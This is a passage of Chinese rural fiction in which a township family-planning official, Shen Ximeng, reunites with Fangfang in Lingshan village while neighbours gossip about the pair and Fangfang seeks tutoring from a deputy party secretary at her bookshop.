“芳芳,那你就领沈干事在村里走走,上午你们都来我家吃饭。”

“不用了,村长,以后西蒙大哥的饭我包了,在龙县时西蒙大哥没少照顾我,现在他来灵山了,我应该尽尽地主之谊吧!”

“那也好,你们去吧!”

芳芳领着沈西蒙走了出去。沈西蒙显得十分兴奋,他终于胜利的实施了自己的初步计划,见到了他想见的人。不过他觉得“这只是万里长征走完了第一步,以后的路还会更长更艰苦!”

“革命尚未成功,同志还须努力!”

他要以顽强的精神去争取更大的胜利!

“芳芳,那年你走的时候怎么连个招呼也没打,而且一走就是好几年?”

沈西蒙边走边问。

“唉,那时我——我——我不说你也知道,我娘从家里赶来也住在史大娘家照顾了我几个月,后来我娘走了,我又到七里村我姨家呆了几个月在他们家的缝纫机上做了些活,等服装学校第二期学员分配时,我才回到了县城,被安排到金鸡一个私人服装加工厂工作。”

芳芳最不愿意提及这些事了。

“怪不得我找了几次都没找到你。”

“我走时本来想告诉你一声,可听说你为了我的事和嫂子吵架了,怕给您再添麻烦我就自个走了。”

“原来是这样。”

“嫂子她还好吗?”

“唉,好什么好!我们早已离婚了。”

“西蒙大哥,都怪我,是我害了你!”

芳芳感到有些内疚。

“怎么能怪你呢,这桩婚姻本来就是个错误,不提那些烦心的事了。说说你吧,你怎么会到这里来呢?”

“西蒙大哥——我……”

芳芳眼圈红了,差点哭了出来。

“芳芳,别急,慢慢说。”

沈西蒙劝道。

灵山女人是灵山的一道风景,她们大多是因逃荒来到灵山的,有着全国各地的血统,不管她们是以怎样的方式来到灵山,她们的聪明比她们那些土生土长的男人来,确有过之而无不及。是她们给灵山带来了生机,想将来聪明的灵山的子孙们更是不会忘记祖辈们因祸得福而创造出的奇迹。灵山应该因她们而骄傲!虽然她们现在仍处在那种愚昧或半愚昧状态,但远缘创造出的那种生命的优势是谁也否定不了的。至于这种优势什么时候能发挥出来她们自己也不知道,可这些毕竟是迟早的事。

下午,整天闲着没事的贼猴婆娘翠翠正在家门口拉鞋底,三来媳妇端着面盆走了过来。

“怎么,又压了这么多面?”

翠翠问道。

“这两天家里做门窗,请来了两个匠人,这不又多了两张嘴嘛,不多压些面,靠手工我能做出来啊?”

三来媳妇虽然是实话实说,但让整天无所事事的翠翠听来还是张扬了点,女人嘛,就是那么小心眼!

“哎,听说芳芳当官了?”

聪明的翠翠又转移了话题。

“这我知道,是个计划生育干事,专管女人生娃的。”

“镇上的那个沈干事来咱们村蹲点了,听说他是芳芳的老相好。”

翠翠的新闻还真是不少。

“这我可不太清楚。”

“听说那个沈干事谁家派饭都不去,专在芳芳家吃!”

“反正村上给补贴,人家芳芳算是把沈干事的饭承包了。”

“恐怕再过些日子连人也就给承包了吧!”

翠翠的醋意又上来了。

“这话可不敢乱说,人家芳芳可是正经人。”

“我就不信,这孤男寡女整天泡在一起能正经得了!我看啊,芳芳早就熬不住了,你没看见她这几天那个高兴劲,脸象一朵花似的,和猪娃结婚那天也没这么高兴过!”

翠翠是灵山村的“一号妖精罐罐”感情上的事谁也瞒不过她。

“这倒也是,不过人家沈干事有媳妇。”

“有什么呀!听说早就离婚了。”

“哟,这可就难说了。”

芳芳开书店的目的并不单纯的为了赚钱,平时就爱学习的她从小就喜欢与书为伍,她觉得生活中需要学的东西太多了,这回终于如愿以偿了。此时的芳芳正在书店看书,一顾客走了进来从开架的书柜中取出一本书看了看问道:“老板,这本英汉词典多钱?”

“十元,后面有定价。”

芳芳道。

“便宜一点吗?我可是你们店的老顾客了。”

“那就给您打九折吧,一般这种工具书是不打折的,您给九块钱吧。”

“好吧,给九块钱。”

“来我给您装个袋子,好拿些。”

“谢谢!”

“谢什么,都是老顾客了。”

顾客刚出门镇党委副书记严民就走了进来。

“哟,严大哥,快进来。”

芳芳十分客气地招呼道。

“我也是老顾客了。”

严民打趣地说。

“您是我这儿的常客,您坐,请喝茶。”

芳芳倒了杯茶“谢谢!哎,芳芳用上煤气灶了?”

“还不是上次和书一起倒过来的一个旧煤气灶。”

“罐里面是液化气吧?在省城时我们就用它做饭,想不到咱们这里也有了。”

“什么液化气啊,它里面装的是咱们县氮肥厂产的水煤气。”

“什么?水煤气!这东西虽说用起来方便,但却十分危险,特别是这种旧灶具,你用时可要小心啊!”

“方便是方便,但也麻烦,用完后要从几十里外的县城灌气,就剩下半罐气了,用完后我还是用蜂窝煤炉子吧!再说我也不是常在这里做饭,只是偶尔烧点开水。”

“这样最好,安全第一嘛!”

“谢谢严大哥,听说您是从省城来咱们镇上工作的?”

“是的,我原先在省委宣传部工作。”

“怪不得,说话那么有水平,又那么爱学习,以后我这的书你就不用买了,随便拿去看就行了。”

“怎么,想对我开绿灯啊,那可不行。”

“您先别急,我是有条件的。”

“什么条件啊,说来听听?”

“我想拜你为师,你得教我。”

“我教你!我能教你什么啊?”

“前些天你看的那本《企业与红灯》我也看了一遍,可我就怎么也理解不到你讲的那个深度,里面那么多案例,我怎么就是悟不出你说的那么多深刻的道理来,你得帮帮我。”

“怎么,你也对企业感兴趣?”

严民吃惊地问道。

“我想我们灵山将来也要开工厂,办企业。外地人能干的事,我们为什么不能干!”

“好啊!有思想,咱们凤鸣镇有你这种想法的人实在太少了,你这个老师我当定了!以后我会常和你交流的。”

“那我就先谢谢老师!”

“客气什么,咱们共同学习吗!”

这时一位顾客走了进来。

“芳芳,你忙吧,我走了,有时间我会常来的。”

严民走了,带着一种朦胧的期望和新意走了。

村口秀娥的小卖部不管是什么时候,都是灵山村最热闹的地方。这天秀娥和五才两口子正在打扫柜台里面的卫生,外号叫“新闻联播”的快嘴又走了进来:“五才哥你和大嫂大白天躲到柜台后面干什么?快出来给我拿包烟!”

“还能干什么,打扫卫生呗!”

五才边取烟边说。

这时翠翠提着醋瓶子出现在店门口:“原来是在打扫卫生,人家还当你们在亲嘴哩!

“哟,大妹子又来打醋了?”

秀娥问道。

“我说贼猴家的,你的醋怎么吃的这么快,我每次见到你总是能看见醋瓶子!”

快嘴故意问道。

“爱吃醋怎么了,这也比你这破烟筒强!到处乱冒烟也不怕污染了环境,不过我还得给你提个醒,你那烟筒虽说不环保,在咱山里也无关紧要,但那个‘狐狸精’在肚里留多了,可不是闹着玩的。”

翠翠的嘴还是那么厉害。

“是尼古丁,不是狐狸精!”

五才纠正道。

“管它尼古丁还是狐狸精,反正都是害人精!”

翠翠又道。

“哟,看来这水平一个比一个高!”

秀娥道。

“听说四海也当官了?”

翠翠又问道。

“那算什么官,镇政府一个安全员!知道不?”

快嘴道。

“是给那个大胖子甘书记当保镖吧?”

五才又问。

“差不多。”

“那为什么不让愣牛去,他一个人最少能放倒三个人!”

五才有点不以为然。

“愣牛去干什么,又不是去打架!”

快嘴道。

“那当保镖做什么?”

秀娥不解地问。

“那是保喝酒的,现在改革开放了,甘书记几乎每天都有应酬,沈干事怕甘书记喝醉酒影响身体,就推荐四海去陪酒。知道不?”

快嘴道。

“这倒是瞌睡遇上了枕头,真个美差!我家贼猴也能喝酒,咋碰不上这运气呀!整天白吃香的,白喝辣的还拿工资。”

翠翠又忌妒了起来。

“你就不知道底细,人家四海媳妇和沈干事是啥关系?老相好了!听说沈干事认识她比芳芳还早,不过你要想给贼猴找份美差也不难,咱们沈干事是专门给女人做计划的,你就让他那天来先把你给计划计划不就行了吗!知道不?”

快嘴又打起油来了。

“好你个死快嘴!我撕了你的嘴!”

这话翠翠爱听,她心里甜滋滋的和快嘴追打着,嬉闹着。

晚上,芳芳在灯下正在做针线,经过精心打扮的沈西蒙手里提着一袋食品突然出现在屋门口。只见他蓬松的黑发上喷着发油,雪白的衬衫上系着一条紫红色领带,火箭式皮鞋擦的乌黑发亮:“芳芳,在忙什么呢?”

“哟,是西蒙大哥,快进来坐,你不是到镇上开会去了吗?”

“就咱们镇上那会,哪一次不是等半天人,说半天闲话,其实真正开会的时间只有一会儿。散会后本来想住在镇上明天一早回来,可不知怎么搞的一抬腿就上山了。”

沈西蒙边进屋边说着。

“你先坐,我给你收拾饭。”

“不用了,我那食品袋里有现成的,先把那块熟肉切上。”

沈西蒙从塑料袋内取出一块熟肉放在了屋角火炉旁的那个小案板上。

“又不是过年,你买这么多吃的干嘛?又是酒,又是肉的。”

芳芳边切肉边说。

“好长时间没吃肉了,今晚得好好解解馋。”

沈西蒙神秘地道。



上一篇兽血沸腾改编——蓬莱号下一篇[乡村]孟村长的第三十八个情妇(全本)-8